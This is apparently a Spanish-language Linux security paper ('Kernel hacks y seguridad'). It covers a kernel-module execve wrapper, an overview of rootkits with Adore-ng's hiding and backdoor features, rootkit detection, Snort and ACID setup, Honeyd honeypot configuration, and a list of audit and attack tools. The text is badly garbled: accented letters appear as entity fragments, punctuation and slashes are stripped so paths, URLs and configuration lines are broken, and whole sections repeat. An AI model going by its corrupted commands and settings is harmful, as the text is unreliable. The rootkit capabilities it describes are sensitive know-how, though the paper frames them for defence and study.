Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
inicio
int mi_execve(const char filen char const argv [] char const envp[])int errnolong __res __asm__ volatile (int $0x80 =a (__res)
0 (__NR_mi_execve)b ((long)(filen)) c ((long)(argv)) d ((long)(envp)))
__syscall_return(long__res)
final
Ese seriacutea el coacutedigo a usar para poder tratar con execve() desde el nuacutecleo con un LKM
10- Rootkits visioacuten general
Con lo que hemos ido viendo en este trabajo salta a la vista que tpodemos desarrollar aplicaciones maacutes que intersantes de cara a su uso en sistemas comprometidos una vez descubierta una vulnerabilidad en un sistema y tras el eacutexito en su explotacioacuten procedemos a obtener y asegurar un mayor control sobre el host
Los rootkits son hoy por hoy uno de los mecanismos maacutes sofisticados para conseguir ese objetivo Se trata de un kit de herramientas que permiten al atacante mantenere el control total sobre el sistema de forma continuada con los maacuteximos privilegios y siempre intentando hacerlo de forma indetectable para los administradores del sistema yo de la red
De los primeros rootkits en la historia de los sistemas ldquounix-likerdquo hay que destacar dos el rootkit de SunOS4 y el Linux Root Kit ldquolrk3rdquo (Diciembre 1996) Maacutes ejemplos seriacutean ldquoheroincrdquo y luego Knark como consecuencia de este nuevo tipo de teacutecnicas
Uno de los primeros textos al respecto distribuido en Internet fue ldquoHiding Out Under Unix rdquo por Black Tie Affair (Phrack vol3 issue 25 1989) Ni que decir tiene que el presente documento estaacute bastante maacutes avanzado que ese texto y va mucho maacutes allaacute
Tal y como se ha ido viendo en el presente trabajo y a medida que el Kernel se ha ido desarrollando el tema ha ido avanzando bastante y han surgido todo tipo de rootkits no solo para los sistemas Solaris Unix o Linux sino tambieacuten para FreeBSD y Windows entre otros
Los rootkits actuales no utilizan los mismos vectores de ataque sino que muchos se apoyan en otras teacutecnicas distintas a las contempladas por mi en este trabajo ademaacutes hay que comentar que la efectividad de un rootkit pasa tambieacuten por mantener su coacutedigo fuente oculto al uso puacuteblico a las empresas y los desarrolladores de soluciones para la seguridad
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
Snort Dicho fichero se puede encontrar en
etcsnortsnortconf
pero puede que esteacute ubicado en otra localizacioacuten dependiendo de tu distribucioacuten en mi caso trabajo con Gentoo Linux asi que de ahora en adelante habraacute que tener este pequentildeo matiz en consideracioacuten para el futuro
Antes de empezar es aconsejable realizar una copia del fichero original es posible que ya se haya incluido dicha copia con el paquete de Snort no obstante es muy aconsejable hacerlo sino es el caso
El fichero trae comentarios detallados sobre la funcionalidad de las directivas de Snort por lo que en el presente documento solamente se trataraacute de forma general sin entrar en excesivos detalles sobre absolutamente todas las opciones que Snort trae con el objetivo de no alargar el documento de forma innecesaria
Tal y como nos indica el inicio del fichero son 5 los pasos a seguir en ese fichero
1 Establecer las variables para nuestra red
2 Configurar el preprocesador de Snort
3 Configurar los plugins de salida
4 Antildeadir directivas para la configuracioacuten en ejecucioacuten de Snort
5 Personalizar nuestro set de reglas para Snort
La figura anterior desglosa las partes en las que Snort se compone para llevar a cabo su tarea
Paso 1
Debemos indicar como estaacute montada nuestra red e identificarnos no es buena idea dejar esto con un valor ldquoanyrdquo o por defecto asiacute que lo modificamos como sea necesario
Kernel hacks y seguridad JMP
var HOME_NET 1921681124 o bien var HOME_NET $eth0_ADDRESS
Maacutes de lo mismo indicamos los hosts que forman nuestra red podemos hacerlo de varias manera y esta es la maacutes adecuada para redes locales medianas o grandes
var HOME_NET 1921681124
Ahora configuramos la red externa con el valor ldquocualquierardquo es un buen comienzo
var EXTERNAL_NET any
Indicamos la lista de servidores DNS SMTP etc de nuestra red si los hay
var DNS_SERVERS $HOME_NET
var SMTP_SERVERS $HOME_NET
[]
Ahora viene un paso importante que es definir los puertos con servicios que Snort debe vigilar y sobre los cuales se desean detectar ataques si tenemos un servidor web (tiacutepicamente Apache en el puerto 80) podemos hacer lo que se muestra en el ejemplo siguiente indicaacutendolo de manera continua (221024) o por puertos individuales (212253808080 ) Tambieacuten podemos incluir ficheros de reglas tal y como se muestra en los ejemplos dentro del fichero de configuracioacuten
var HTTP_PORTS 80 var BO-BACKDOOR 31337
var NO_SSH 22 include mis_directivasrules
Ahora podemos configurar ciertos aspectos del decodificador de Snort hecho esto podemos pasar a la configuracioacuten del motor de deteccioacuten Si andamos escasos de recursos en nuestra maacutequina es MUY recomendable usar
config detection search-method lowmem
Paso 2
Podemos habilitar soporte para defragmentacioacuten IP asiacute podremos detectar cierto tipo de ataques (DoS normalmente) que usen esa teacutecnica asiacute como evitar la evasioacuten de Snort mediante teacutecnicas maacutes o menos avanzadas
Por ejemplo preprocessor frag2
Kernel hacks y seguridad JMP
preprocessor frag3_global max_frags 65536 preprocessor frag3_engine policy first detect_anomalies
Stateful-inspection y Stream Reassembly si queremos detectar ataques de escaneo de puertos ocultos tiacutepicamente Syn-Stealth o de cualquier otro tipo asiacute como otros ataques baacutesicos esta es la seccioacuten a modificar Por ejemplo
preprocessor stream4 detect_scans
preprocessor stream4_reassemble
Performance Statistics tal y como dice el fichero aquiacute hay MUCHAS posibilidades que no se van a tratar aquiacute asiacute que lo mejor seraacute mirar el propio manual y documentacioacuten de Snort al respecto Lo dejaremos con los valores por defecto recomendados
A continuacioacuten hay algunas directivas sobre la inspeccioacuten de traacutefico de Back Oriffice (troyano miacutetico del grupo Cult Of Dead Cow) traacutefico RPC posible ARP spoof traacutefico Telnet etc A configurar a gusto del consumidor o bien dejamos los valores por defecto
Paso 3
Aquiacute podemos indicar cosas referentes al formato de salida de logs y demaacutes por ejemplo en el formato de ldquotcpdumprdquo en una base de datos (MySQL) salida por el Syslog de sistema
Paso 4
Aquiacute podemos leer el manual para obtener informacioacuten detallada de las posibilidades para personalizar un poco maacutes el funcionamiento de Snort es un tema que no vamos a cubrir ahora por lo que podemos dejara los valores por defecto recomendados
Paso 5
Ahora podemos antildeadir nuestras propias reglas para la deteccioacuten de actividad sospechosa u ataques a nuestra red Este tema lo tratamos a continuacioacuten por separado podemos obtener reglas pre-configuradas de Internet aparte de las que el mismo Snort trae consigo
3- Descargando nuevas reglas desde Internet
Gracias al esfuerzo de la comunidad por mantener las cosas en orden y seguras podemos ir actualizando nuestro set de reglas o descargar nuevas funcionalidades la primera web recomendada (aunque no la uacutenica al respecto) y a la que me voy a limitar es
httpwwwsnortorgrules
yo
Kernel hacks y seguridad JMP
httpwwwsnortorgpub-bindownloadscgi
Nos basta con descomprimir las reglas y ajustar la configuracioacuten de snortconf como sea necesario para apuntar a los ficheros de reglas que queremos habilitar
Por supuesto podemos crear nuestras propias reglas para saber como hacerlo es mejor - una vez maacutes ndash mirar la documentacioacuten actualizada de Snort al respecto
4- Prevencioacuten de intrusiones
Aquiacute se muestra Snort actuando como interceptor de sesiones se trata de examinar las sesiones establecidas por un atacante y sus intentos si algo resulta hostil se envia un paquete RST para terminar la conexioacuten de inmediato En el ejemplo tras el intento de atacar el servidor apache se da por terminada la sesioacuten expliacutecitamente gracias a Snort
Nota Tanto el firewall como Snort y el servidor web estaacuten conectados entre si el servidor apache accesible desde el exterior estaacute situado en la DMZ
Ahora Snort (con el parche inlineIPS aplicado) actuacutea como firewall-routerIPS estando como Gateway
httpsnort-inlinesourceforgenet (configure - -enable-inline)
Una vez detectado traacutefico hostil fruto de un ataque el traacutefico futuro del host atacante seraacute bloqueado
Kernel hacks y seguridad JMP
Para terminar se muestra otro ejemplo con el plugin SnortSAM en el que cuando un ataque se detecta se pide al router el bloqueo del traacutefico entrante del host origen del ataque Si el host antes de ser bloqueado abre una puerta trasera con otro host bajo su control esto puede suponer un riesgo para la seguridad de la red
httpwwwsnortsamnet
5- Usando ACID + SNORT
Con ACID pretendemos encontrar un mecanismo de control y uso centralizado de SNORT simplificado accesible viacutea web
Kernel hacks y seguridad JMP
La instalacioacuten de Snort con ACID (Analysis Console for Intrusion Detection) pasa por una serie de requisitos y dependencias podemos echar un vistazo al sitio web de ACID para descargar el software y documentacioacuten
httpacidlabsourceforgenet
La versioacuten maacutes reciente de ACID es ahora 096_beta23 (seguacuten Portage en mi distribucioacuten no he mirado el CVS) se recomienda tener precauciones respecto a las posibles vulnerabilidades en el coacutedigo de la aplicacioacuten que puedan ir surgiendo mientras el software adquiere un mayor nivel de maduracioacuten en el desarrollo
Luego necesitaremos a ser posible
Apache soporte GD OpenSSL MySQL
PHP soporte GD OpenSSL MySQL
MySQL
ACID soporte adodb jpgraph phplot GD
Y claro esta Snort con soporte para MySQL
Procederemos a instalar los paquetes y configurar una nueva bases de datos para Snort en MySQL usando para ello la estructura que se nos facilita en los paquetes para la instalacioacuten para crear las tablas en la base de datos Tambieacuten daremos de alta un usuario en MySQL con los privilegios estrictamente necesarios
Ejemplo
$ mysql -u root -p
mysql gt CREATE DATABASE snort
mysql gt GRANT ALL ON snort to rootlocalhost identified by password
$ mysql -u root -p pass lt usrsrcsnort-xxschemascreate_mysql_snort
Necesitaremos descargar los paquetes y descomprimirlos bajo el Document Root de nuestro servidor WEB (Apache) varwwwhtdocs por ejemplo Por tanto es importante respetar el orden en la instalacioacuten de las dependencias
Lo siguiente muestra alguna de la informacioacuten que hay que editar del fichero ldquoacid_confphprdquo para que todo funcione correctamente con la base de datos MySQL Una vez instalado bastaraacute con visualizar la consola ACID desde nuestro navegador apuntando a la URL donde hemos instalado todo por ejemplo http127001acid
Alert DB connection parameters
Kernel hacks y seguridad JMP
- $alert_dbname MySQL database name of Snort alert DB
- $alert_host host on which the DB is stored
- $alert_port port on which to access the DB
- $alert_user login to the database with this user
- $alert_password password of the DB user
This information can be gleaned from the Snort database
output plugin configuration
$alert_dbname = snort_log
$alert_host = localhost
$alert_port =
$alert_user = root
$alert_password = mypassword
Archive DB connection parameters
$archive_dbname = snort_archive
$archive_host = localhost
$archive_port =
$archive_user = root
$archive_password = mypassword
Esquema baacutesico de la base de datos de ACID y su funcionamiento con Snort
Kernel hacks y seguridad JMP
Creacioacuten de reglas propias para Snort
Podemos separar las reglas en grandes bloques accioacuten+cabecera y opciones
CABECERA
Accioacuten de la regla alert
Protocolo tcp udp
Direccion IP origen $EXTERNAL_NET
Puerto IP origen any
Direccion IP destino $HOME_NET
Puerto IP destino any
Direccioacuten de la operacioacuten -gt (puede ser -gt lt- ltgt)
OPCIONES
Mensaje ldquohola directivardquo
Opciones flags Aack 0 reference
Ej drop tcp any any -gt any 22 (classtypeattempted-user msgrdquoIntento de conectar al puerto SSHrdquo)
El coacutedigo anterior haraacute que las conexiones al puerto 22 sean logueadas y bloqueadas una vez antildeadida la regla dentro de las directivas de Snort
Para documentacioacuten detallada y actualizada sobre las reglas de Snort y lo referente a las opciones se recomienda visitar el sitio oficial de Snort en Internet wwwsnortorg
Conclusiones
Debido a que un cortafuegos no es una medida realmente segura para proteger nuestra red se hace necesario detectar aquellos ataques que se realizan con eacutexito contra nuestros sistemas Los sistemas de deteccioacuten y de prevencioacuten de intrusiones ndash Snort en el caso que nos ocupa ndash junto con poliacuteticas de seguridad adicionales como SELinux y GRSecurity nos brindan un nivel de seguridad mucho mayor asiacute como la capacidad de estudiar posibles ataques para poder evitarlos en un futuro
Una vez maacutes la soluciones opensource estaacuten muy por encima en calidadprecio con respecto a otras alternativas comerciales
Kernel hacks y seguridad JMP
Honeypots
Una de las teacutecnicas maacutes habituales para proteger nuestras redes y aprender de nuestros atacantes es usar sistemas abiertos con el fin de atraer (o distraer) la atencioacuten de nuestros posibles intrusos
Los honeypots son simplemente eso sentildeuelos que nos permiten mantener la red un poco maacutes protegida mientras estos sistemas son comprometidos y controlados a voluntad por el administrador del sistema
Aunque existen muchas soluciones para implementar honeypots en este trabajo se trataraacute principalmente con ldquoHoneydrdquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que habraacute que hacer es obtener una copia de ldquoHoneydrdquo y opcionalmente ldquoArpdrdquo compilarlas e instalarlas en el sistema que pretende hacer de sentildeuelo estaacute claro que no hay que instalarlo en un equipo en produccioacuten P
net-analyzerhoneyd Latest version available 10-r1 Latest version installed 10-r1
Size of downloaded files 2566 kB Homepage httpwwwcitiumicheduuprovoshoneyd Description Honeyd is a small daemon that creates virtual hosts on a network License GPL-2
De las siguientes direcciones nos interesa ademaacutes toda la documentacioacuten que podamos encontrar al respecto
httpwwwhoneydorg
httpwwwcitiumicheduuprovoshoneyd
Debemos editar el fichero de configuracioacuten para establecer nuestras preferencias como sea necesario y arrancar el servicio honeyd
Config file for etcinitdhoneyd
Set Network addressHONEYD_NET=10001
HONEYD_IF=lo
HONEYD_LOG=varloghoneydlog
Set to 1 to enable (gt=honeyd-10)HONEYD_HTTPD=0HONEYD_HTTPD_PORT=80HONEYD_HTTPD_ROOT=usrsharehoneydwebserverhtdocs
Kernel hacks y seguridad JMP
Set preferred options here HONEYD_OPTS=-f etchoneydconf -p usrsharehoneydnmapprints
-x usrsharehoneydxprobe2conf -a usrsharehoneydnmapassoc
Otras alternativas a honeyd podriacutean ser sistemas como VMWare User Mode Linux etc
Un interesante ldquopaperrdquo es el de Lance Spitzner disponible en
httpwwwtracking-hackerscompapershoneypotshtml (9 May 2003)
2- Creando sistemas virtuales
Para crear los sistemas virtuales debemos editar el contenido de ldquousrsharehoneydrdquo en mi caso para conseguir nuestro objetivo de simulacioacuten por ejemplo tenemos el fichero ldquoconfigrdquo concretamente configsample que es un ejemplo de configuracioacuten lo probamos copiando honeydconf dentro de etc (en mi caso particular)
Su contenido se muestra a continuacioacuten
route entry 10001 route 10001 link 1020024 route 10001 add net 1030016 10301 latency 8ms bandwidth 10Mbps route 10301 link 1030024 route 10301 add net 1031024 10311 latency 7ms loss 05 route 10311 link 1031024
Example of a simple host template and its binding create template set template personality Microsoft Windows XP Professional SP1 set template uptime 1728650 set template maxfds 35 add template tcp port 80 scriptsiis5netmainpl add template tcp port 22 sh scriptstestsh $ipsrc $dport add template tcp port 23 proxy $ipsrc23 add template udp port 53 proxy 1412119214153 set template default tcp action reset
create default set default default tcp action block set default default udp action block set default default icmp action block
create router
Kernel hacks y seguridad JMP
set router personality Cisco 1601R router running IOS 121(5)set router default tcp action resetadd router tcp port 22 scriptstestshadd router tcp port 23 scriptsrouter-telnetpl
bind 10301 routerbind 10311 routerbind 103112 templatebind 103111 templatebind 103110 templateset 103111 personality Microsoft Windows NT 40 SP3set 103110 personality IBM AIX 42
De igual forma podemos editar el resto de ficheros de intereacutes para modificar lo que queramos no obstante cubrir todas las posibilidades va maacutes allaacute de lo que se persigue en este trabajo La documentacioacuten on-line puede solucionar cualquier duda al respecto
Para probar el sistema podemos usar herramientas de analisis y escaneo de puertos como Nmap ping hping traceroute etc
3- Otros usos
Podemos usar tambieacuten los honeypots para automatizar tareas por ejemplo para limpiar gusanos que han infectado nuestra red imitando el proceso de infeccioacuten pero haciendo que el honeypot lleve a cabo el envio de un programa que limpie el gusano en lugar de propagarlo ejecutando su payload Es solo una idea de todo lo que podemos hacer con un honeypot
Listado de programas yo utilidades para el anaacutelisis de redes y auditorias
acid hping netcat6 sec aimsniff httping netdiscover sflowtool amap hunt nethogs sguil-client angst hydra neti sguil-sensor argus hyperic-hq-agent netio sguil-server arping ibmonitor netleds_applet siphon arpoison ifmetric netperf slurm arp-sk ifstat netselect sniffit arpwatch iftop net-snmp snmpmon authforce ike-scan netspeed_applet snmptt barnyard ipac-ng nettop snort bigeye ipaudit netwag snortalog bing ipcad netwatch snortsam bmon iplog netwox sonar braa ippl ngrep squid-graph bwm-ng iptraf nikto squidsites bwmon iptstate nload ssldump cacti isic nmap sussen cacti-cactid jnettop nmbscan tcpdump calamaris knetscan nomad tcpflow chaosreader knocker ns tcpick cheops-ng labrea nsat tcpreen cnet lft nstats tcpreplay cryptcat libnasl ntop tcpslice cutter linkchecker nttcp tcpstat darkstat macchanger oinkmaster tcptrace
Kernel hacks y seguridad JMP
dnstracer mbrowse p0f tcptraceroute driftnet metadataxml packit tcptrack dsniff metasploit paketto thcrut echoping midas-nms pinger thrulay egressor mirmon pktstat tleds etherape mping pmacct tptest ethereal mrtg poink traceproto ethloop mtr portmon traceroute ethstatus mwcollect portsentry traceroute-nanog ettercap nagios postal trafd fail2ban nagios-core prelude-nagios traffic-vis ffp nagios-imagepack prelude-nessus trafshow firewalk nagios-nrpe prelude-nids ttcp FlowScan nagios-nsca prewikka ttt flow-tools nagios-plugins quidscor upnpscan fping nam rain vnstat fprobe nast rrdtool xnetload fragroute nb rtg xprobe ftester nbaudit sancp xtraceroute fwlogwatch nbtscan sara zabbix-agent gensink nepenthes sarg zabbix-frontend gnome-netstatus nessus sbd zabbix-server gnome-nettool nessus-core scanlogd zodiac gnu-netcat nessus-libraries scanssh gspoof nessus-plugins scapy honeyd netcat scli
Conclusiones
Con los honeypots ya tenemos un punto maacutes que sumar a nuestra seguridad en la red no obstante hay que decir que el mal uso y configuracioacuten del mismo puede provocar tambieacuten alguacuten problema si no se tiene cuidado por lo que el administrador debe ser cauto
ldquoLa puerta mejor cerrada es la que se puede dejar abiertardquo
Trabajo realizado y distribuido a la comunidad por Jose Miguel Porcel G
Kernel hacks y seguridad JMP
BIBLIOGRAFIacuteA Y RECURSOS EN INTERNET
kernel hacks
Programacioacuten ldquoLinux 20rdquo API de sistema y funcionamiento del nuacutecleo Reacutemy Card Eric Dumas Franck Meacutevel editorial ldquoEyrollesrdquo
Coacutedigo fuente de ldquoAdore-ngrdquo
Material de las conferencias del ldquoHackandalusrdquo hackmeeting
HowTo de wwwtldporg sobre ldquoLoadable Kernel Modulesrdquo
Kernelnewbies httpeskernelnewbiesorg
Internet Relay Chat en ircfreenodenet
Artiacuteculo ldquoRootkits The r00t of Digital Evilrdquo
httpwwwomninerdcom20051122articles43
Phrack ldquoHiding Out Under Unixrdquo
Documento PDF DIMVA 2004 DFN-CERT por Andreas Bunten
Documento PDF ldquoRootkit Attacker undercover toolsrdquo por Saliman Manap
Presentacioacuten ldquoUtilizacioacuten de una funcioacuten del sistema operativo por un usuariordquo de SCandela (Universidad de las Palmas de Gran Canaria)
Documentacioacuten del sistema operativo Gentoo y Debian ldquoPotatordquo asiacute como el coacutedigo fuente del Kernel tanto 22 como 24 y 26 wwwkernelorg
Anaacutelisis del rootkit ldquoT0rnrdquo httpwwwsansorgy2kt0rnhtm
Snort NIDS
Documentacioacuten y coacutedigo del sitio web oficial de Snort (wwwsnortorg) y ACID
OReilly ldquoManaging Security with Snort and IDS Toolsrdquo de Kerry JCox y Christopher Gerg Agosto 2004
Artiacuteculo httplinucaorgbodyphtmlnIdNoticia=13 ldquosnort+mysql+acidrdquo
Honeyd
Documentacioacuten del propio programa y web oficial (honeydorg)
Kernel hacks y seguridad JMP
Kernel hacks y seguridad JMP
Ejemplo de un rootkit moderno ldquoAdore-ngrdquo
Adore-ng es un interesante (pero conocido) rootkit que puede funcionar en los kernels maacutes recientes sin problema alguno para intentar mantenerse oculto e indetectable utiliza una novedad respecto a muchos rootkits ya que no usa sys_call_table [] sino que se basa en la redireccioacuten a nivel de capa VFS de Linux ademaacutes tiene una utilidad para infectar moacutedulos cargados en el nuacutecleo Un interesante atiacuteculo por parte de ldquoStealthrdquo (junto con el grupo TESO son autores de Adore) es ldquoKernel Rootkit Experiencesrdquo donde habla de sus experiencias como autor de Adore y la situacioacuten en aquel momento de la investigacioacuten sobre nuevas teacutenicas entre otras cosas aunque no se trata de un texto extenso
Sus caracteriacutesticas ldquobaacutesicasrdquo vienen incluidas en el fichero FEATURES de mi descarga de Adoreshyng de Internet e indica ndash entre otras cosas- lo siguiente
Runs on kernel 24x UP and SMP systems
First test-versions successfully run on 260
File and directory hiding
Process hiding
Socket-hiding (no matter whether LISTENing CONNECTED etc)
Full-capability back door
Does not utilize sys_call_table but VFS layer
KISS principle to have as less things in there as possible but also being as much powerful as possible
Por otro lado el fichero README indica el proceso de instalacioacuten de Adore Tras su compilacioacuten y
Kernel hacks y seguridad JMP
carga en el sistema (requiere privilegios de root) podremos usar el cliente AVA para comunicarnos con la parte ldquoservidorardquo de Adore-ng aunque explicar el uso de este rootkit al detalle queda fuera de las pretensiones de este texto y en ninguacuten caso aporta nada de intereacutes adicional puesto que no es el objetivo hacer de script kiddie con Adore
La siguiente tabla introduce al famoso rootkit ldquoSucKITrdquo para mostrar algunos datos de intereacutes
Adore ~034 SucKIT Adore-ng gt=131
Interceptando el flujo de ejecucioacuten
Syscalltable Syscall handler VFS
Transferencia coacutedigo dentro del Kernel
LKM Acceso directo (raw shycrudo) a memoria
LKM
Incluye puerta trasera - Siacute -
Mecanismos de recarga - sbininit Herramienta para infeccioacuten LKMs
Tabla Comparativa de algunos rootkits
Medidas de proteccioacuten y deteccioacuten de rootkits
Aunque no es el objetivo del documento explicar las teacutecnicas de deteccioacuten de rootkits y puertas traseras de forma exhaustiva se comentan a continuacioacuten algunas utilidades praacutecticas para protegerse de este tipo de software en nuestros sistemas
Una de las maneras maacutes directas es chequear Systemmap con las direcciones de memoria de las syscalls actuales en principio deberian ser las mismas pero si un rootkit modifica la direccioacuten a la que apunta la syscall podremos notar que hay una diferencia cierto offset de la syscall original y la suplantada Existen varios programas en entorno de usuario que permiten hacer esto sin excesiva complicacioacuten
Aquiacute se muestra el inicio del fichero usrsrclinuxSystemmap
linux head Systemmap
00100000 A phys_startup_32c0100000 A _textc0100000 T startup_32c01000c6 t checkCPUtypec0100147 t is486c010014e t is386c0100199 t L6c010019b t check_x87c01001c2 t setup_idtc01001df t rp_sidt
Kernel hacks y seguridad JMP
Otros meacutetodos tiacutepicos
Checksums de ficheros importantes (tripwire aide etc)
Backup de las estructuras centrales del kernel (kstat)
LKMs anti-rootkit
Herramientas forenses (TCT)
Analisis de logs etc
Utilidades para la deteccioacuten (rkhunter chkrootkit)
Enlaces en Internet para la descarga de utilidades e informacioacuten sobre las herramientas
httpwwwchkrootkitorg
httpwwwrootkitorg
Conclusiones
Las aplicaciones que tiene hackear el Kernel son varias desde el punto de vista de la seguridad y es que lo mismo podemos demoler la seguridad de un sistema troyanizando absolutamente todo el sistema como dotar al entorno de habilidades especiales para controlar al miliacutemetro todo lo que sucede y poder hacer un seguimiento exhaustivo de las acciones de un atacante
Kernel hacks y seguridad JMP
Snort el cerdito valiente
SNORT es us sistema para la deteccioacuten de intrusos OpenSource que nos permite monitorear el traacutefico de nuestra red y detectar vulnerabilidades conocidas asiacute como todo tipo de ataques conocidos a nuestra red
Su instalacioacuten es relativamente sencilla y no supone una carga importante para el sistema por lo que se recomienda su uso como medida de seguridad adicional combinando SNORT con otros sistemas y un buen firewall restrictivo aumentamos considerablemente la seguridad en nuestra red y el seguimiento de posibles incidencias
Wreski y Christopher Pallack en Linuxsecuritycom
ldquo A Network Intrusion Detection System (NIDS) is a system that is responsible for detecting anamolous inappropriate or other data that may be considered unauthorized occuring on a network Unlike a firewall w hich is configured to allow or deny access to a particular service or host based on a set of rules If the traffic matches an acceptible pattern it is permitted regardless of what the packet contains However an NIDS captures and inspects all traffic re gardless of whether its permitted or not Based on the contents at either the IP or application level an alert is generated
Snort is a lightweight NIDS in that it is non-intrusive easily configured utilizes familiar methods for rule development and takes only a few minutes to install Snort currently includes the ability to detect more than 1100 potential vulnerabilities Keep in mind that Intrusion Detection devices work in conjunction with other security measures and are not a replacement for other good security practices ldquo
Kernel hacks y seguridad JMP
1- Preparando el entorno de trabajo
Lo primero que tenemos que hacer es obtener una copia de Snort para nuestra distribucioacuten de Linux (ya que vamos a trabajar en esta plafatorma) por lo que tendremos que usar los mecanismos apropiados en nuestra distribucioacuten en mi caso particular
root emerge -pv snort
These are the packages that I would merge in order
Calculating dependencies done [ebuild R ] net-analyzersnort-243 -flexresp -inline +mysql -odbc shypostgres -prelude (-selinux) -sguil -snortsam +ssl 0 kB
Total size of downloads 0 kB
No obstante podemos obtener los paquetes y el coacutedigo fuente de la URL
httpwwwsnortorgdl
Una vez instalado Snort procederemos a su configuracioacuten tal y como iremos viendo antes de proceder a arrancar el servicio
2- Configuracioacuten baacutesica de Snort
Para empezar debemos buscar un fichero llamado ldquosnortconfrdquo que contiene la configuracioacuten de
Kernel hacks y seguridad JMP
